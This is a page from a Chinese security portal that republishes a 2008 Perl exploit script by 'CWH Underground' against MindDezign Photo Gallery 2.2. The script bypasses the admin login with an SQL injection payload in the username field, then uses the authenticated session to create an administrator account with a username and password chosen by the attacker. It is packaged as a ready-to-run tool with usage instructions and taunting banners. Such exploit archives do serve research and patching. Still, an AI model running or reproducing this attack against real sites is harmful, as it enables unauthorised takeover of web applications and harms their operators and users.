首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MindDezign Photo Gallery 2.2 Arbitrary Add Admin Exploit
来源:cwh.citec.us 作者:CWH 发布时间:2008-10-24  
#!/usr/bin/perl
#=============================================================
# MindDezign Photo 2.2 Gallery Arbitrary Add Admin Exploit
#=============================================================
#  ,--^----------,--------,-----,-------^--,
#  | |||||||||   `--------'     |          O .. CWH Underground ..
#  `+---------------------------^----------|
#    `\_,-------, _________________________|
#      / XXXXXX /`|     /
#     / XXXXXX /  `\   /
#    / XXXXXX /\______(
#   / XXXXXX /          
#  / XXXXXX /
# (________(            
#  `------'
#
#AUTHOR : CWH Underground
#DATE   : 23 October 2008
#SITE   : cwh.citec.us
#
#
#####################################################
#APPLICATION : MindDezign Photo Gallery
#VERSION : 2.2
#DOWNLOAD    : http://gallery.minddezign.com/?module=download
#####################################################
#
#Note: magic_quotes_gpc = off
#
#This Exploit will Add user to Administrator's Privilege.
#
#######################################################################################
#Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
#Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################

use LWP;
use HTTP::Request;
use HTTP::Cookies;

print "\n==================================================\n";
print "    MindDezign Photo Arbitrary Add Admin Exploit \n";
print " \n";
print "         Discovered By CWH Underground \n";
print "==================================================\n";
print "                                              \n";
print "  ,--^----------,--------,-----,-------^--,   \n";
print "  | |||||||||   `--------'     |          O \n";
print "  `+---------------------------^----------|   \n";
print "    `\_,-------, _________________________|   \n";
print "      / XXXXXX /`|     /                      \n";
print "     / XXXXXX /  `\   /                       \n";
print "    / XXXXXX /\______(                        \n";
print "   / XXXXXX /                                 \n";
print "  / XXXXXX /   .. CWH Underground ..  \n";
print " (________(                                   \n";
print "  `------'                                    \n";
print "                                              \n";

if ($#ARGV + 1 != 3)
{
   print "Usage: ./xpl.pl <Target URL> <user> <pass>\n";
   print "Ex. ./xpl.pl http://www.target.com/gallery/ cwhuser cwhpass\n";
   exit();
}

$blogurl = $ARGV[0];
$user = $ARGV[1];
$pass = $ARGV[2];

$loginurl = $blogurl."?module=admin&action=login&task=login";
$adduserurl = $blogurl."?module=admin&action=account&task=edit";
$post_content = "username=".$user."&password=".$pass."&confirm_pass=".$pass."&btn_submit=Submit";


print "\n..::Login Page URL::..\n";
print "$loginurl\n";
print "\n..::Add User Page URL::..\n";
print "$adduserurl\n\n";
print "..::Login Process::..\n";

$ua = LWP::UserAgent->new;
$ua->cookie_jar(HTTP::Cookies->new);
$request = HTTP::Request->new (POST => $loginurl);
$request->header (Accept-Charset => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7');
$request->content_type ('application/x-www-form-urlencoded');
$request->content ('username=admin\'+or+\'a\'=\'&password=a&btn_submit=Submit');
$response = $ua->request($request);
$location = $response -> header('Location');

print "\n[+]Result :: ";

if ($location =~ /gallery_item_list/)
{
   print "Login Success!!!\n";
}
else
{
   print "Login Failed!!!\n";
   exit();
}

print "\n..::Add Admin Exploit::..\n";
$request = HTTP::Request->new (POST => $adduserurl);
$request->content_type ('application/x-www-form-urlencoded');
$request->content ($post_content);
$response = $ua->request($request);

   print "\n[+]Result\n";
   print "Username :: ".$user."\n";
   print "Password :: ".$pass."\n";
   print "Role     :: Administrator\n";
   print "\nEnjoy with Bugs ;)"

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SilverSHielD 1.0.2.34 (opendir
·CSSH is a proof of concept CSS
·CSPartner 1.0 (Delete All User
·VLC 0.9.4 .TY File Buffer Over
·Opera 9.52/9.60 Stored Cross S
·Exploits Asterisk 1.4,1.6 et.
·MS08066本地权限提升漏洞exploit
·LoudBlog <= 0.8.0a (ajax.php)
·db Software Laboratory VImpX (
·LibSPF2 < 1.2.8 DNS TXT Record
·TUGzip 3.00 archiver .ZIP File
·GoodTech SSH (SSH_FXP_OPEN) Re
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved